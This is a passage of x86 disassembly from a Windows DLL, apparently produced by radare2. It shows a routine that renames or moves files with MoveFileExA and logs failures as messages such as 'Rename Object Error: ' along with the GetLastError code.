push ecx
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x28], 0x46206574
xorps xmm0, xmm0
mov dword [ebp - 0x24], 0x65646c6f
push edx
lea ecx, [ebp - 0x64]
movq qword [ebp - 0x64], xmm0
mov dword [ebp - 0x20], 0x72452072
mov dword [ebp - 0x1c], 0x20726f72
mov word [ebp - 0x18], 0x203a
call fcn.10005a30
mov byte [ebp - 4], 0x32
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0xfc]
push eax
call fcn.1000aed0
add esp, 8
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x64]
mov byte [ebp - 4], 0x33
push eax
lea eax, [ebp - 0xe4]
mov ecx, edi
push eax
call fcn.10023780
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 0x34
push eax
push dword [ebp - 0x1a]
call fcn.100058a0
lea eax, [ebp - 0x50]
mov byte [ebp - 4], 0x35
push eax
mov ecx, esi
call fcn.10008800
lea ecx, [ebp - 0x50]
call fcn.10002190
lea ecx, [ebp - 0xe4]
call fcn.10002190
lea ecx, [ebp - 0xfc]
call fcn.10002190
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 0x12
call fcn.100021e0
mov eax, dword [ebp - 0x9c]
mov ecx, edi
add eax, 0x78
push eax
lea eax, [ebp - 0xe4]
push eax
call fcn.10023780
mov ecx, eax
cmp dword [ecx + 0x14], 0xf
mov edx, dword [ecx + 0x10]
jbe 0x10006e82
mov ecx, dword [ecx]
cmp dword [ebp - 0x78], 0xf
lea eax, [ebp - 0x8c]
push edx
cmova eax, dword [ebp - 0x8c]
push ecx
push dword [ebp - 0x7c]
push eax
call fcn.100055b0
add esp, 0x10
mov byte [ebp - 0x9f], al
lea ecx, [ebp - 0xe4]
call fcn.10002190
cmp byte [ebp - 0x9f], 0
je 0x10006fc1
mov eax, dword [ebp + 8]
mov eax, dword [eax + 4]
cmp dword [eax + 0xa8], 0xf
lea ecx, [eax + 0x94]
jbe 0x10006ed6
mov ecx, dword [ecx]
add eax, 0x34
cmp dword [eax + 0x14], 0xf
jbe 0x10006ee1
mov eax, dword [eax]
push 0
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x10006fc1
mov dword [ebp - 0x5c], eax
lea ecx, [ebp - 0x19]
lea eax, [ebp - 0x9f]
mov dword [ebp - 0x30], 0x616e6552
push eax
push ecx
lea edx, [ebp - 0x30]
mov dword [ebp - 0x2c], 0x4f20656d
xorps xmm0, xmm0
mov dword [ebp - 0x28], 0x63656a62
push edx
lea ecx, [ebp - 0x64]
movq qword [ebp - 0x64], xmm0
mov dword [ebp - 0x24], 0x45202074
mov dword [ebp - 0x20], 0x726f7272
mov word [ebp - 0x1c], 0x3a20
mov byte [ebp - 0x1a], 0x20
call fcn.10005a30
mov byte [ebp - 4], 0x36
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0xfc]
push eax
call fcn.1000aed0
add esp, 8
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x64]
mov byte [ebp - 4], 0x37
push eax
lea eax, [ebp - 0xe4]
mov ecx, edi
push eax
call fcn.10023780
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 0x38
push eax
push dword [ebp - 0x1a]
call fcn.100058a0
lea eax, [ebp - 0x50]
mov byte [ebp - 4], 0x39
push eax
mov ecx, esi
call fcn.10008800
lea ecx, [ebp - 0x50]
call fcn.10002190
lea ecx, [ebp - 0xe4]
call fcn.10002190
lea ecx, [ebp - 0xfc]
call fcn.10002190
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 0x12
call fcn.100021e0
mov eax, dword [ebp - 0x9c]
mov ecx, edi
add eax, 0x84
push eax
lea eax, [ebp - 0xe4]
push eax
call fcn.10023780
mov ecx, eax
cmp dword [ecx + 0x14], 0xf
mov edx, dword [ecx + 0x10]
jbe 0x10006fe8
mov ecx, dword [ecx]
cmp dword [ebp - 0x78], 0xf
lea eax, [ebp - 0x8c]
push edx
cmova eax, dword [ebp - 0x8c]
push ecx
push dword [ebp - 0x7c]
push eax
call fcn.100055b0
add esp, 0x10
mov byte [ebp - 0x9f], al
lea ecx, [ebp - 0xe4]
call fcn.10002190
cmp byte [ebp - 0x9f], 0
je 0x10007123
mov eax, dword [ebp + 8]
mov eax, dword [eax + 4]
cmp dword [eax + 0xa8], 0xf
lea ecx, [eax + 0x94]
jbe 0x1000703c
mov ecx, dword [ecx]
add eax, 0x34
cmp dword [eax + 0x14], 0xf
jbe 0x10007047
mov eax, dword [eax]
push 0
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x10007123
mov dword [ebp - 0x5c], eax
lea ecx, [ebp - 0x19]
lea eax, [ebp - 0x9f]
mov dword [ebp - 0x30], 0x616e6552
push eax
push ecx
lea edx, [ebp - 0x30]
mov dword [ebp - 0x2c], 0x4f20656d
xorps xmm0, xmm0
mov dword [ebp - 0x28], 0x63656a62
push edx
lea ecx, [ebp - 0x64]
movq qword [ebp - 0x64], xmm0
mov dword [ebp - 0x24], 0x45202074
mov dword [ebp - 0x20], 0x726f7272
mov word [ebp - 0x1c], 0x3a20
mov byte [ebp - 0x1a], 0x20
call fcn.10005a30
mov byte [ebp - 4], 0x3a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0xfc]
push eax
call fcn.1000aed0
add esp, 8
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x64]
mov byte [ebp - 4], 0x3b
push eax
lea eax, [ebp - 0xe4]
mov ecx, edi
push eax
call fcn.10023780
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 0x3c
push eax
push dword [ebp - 0x1a]
call fcn.100058a0
lea eax, [ebp - 0x50]
mov byte [ebp - 4], 0x3d
push eax
mov ecx, esi
call fcn.10008800
lea ecx, [ebp - 0x50]
call fcn.10002190
lea ecx, [ebp - 0xe4]
call fcn.10002190
lea ecx, [ebp - 0xfc]
call fcn.10002190
lea ecx, [ebp - 0x64]
call fcn.100021e0
mov ecx, dword [ebp - 0x78]
cmp ecx, 0xf
jbe 0x1000715a
mov edx, dword [ebp - 0x8c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10007150
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007265
push ecx
push edx
call fcn.10172723
add esp, 8
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0xf
mov byte [ebp - 0x8c], 0
jmp 0x1000685f
call fcn.10002d20
call fcn.10002d20
call fcn.10002d20
call fcn.10002d20
call fcn.10002d20
call fcn.10002d20
call fcn.10002d20
call fcn.10002d20
call fcn.10002d20
call fcn.10002d20
call fcn.10002d20
call fcn.10002d20
call fcn.1017a16f
call fcn.1017a16f
call fcn.1017a16f
call fcn.1017a16f
call fcn.1017a16f
call fcn.1017a16f
int3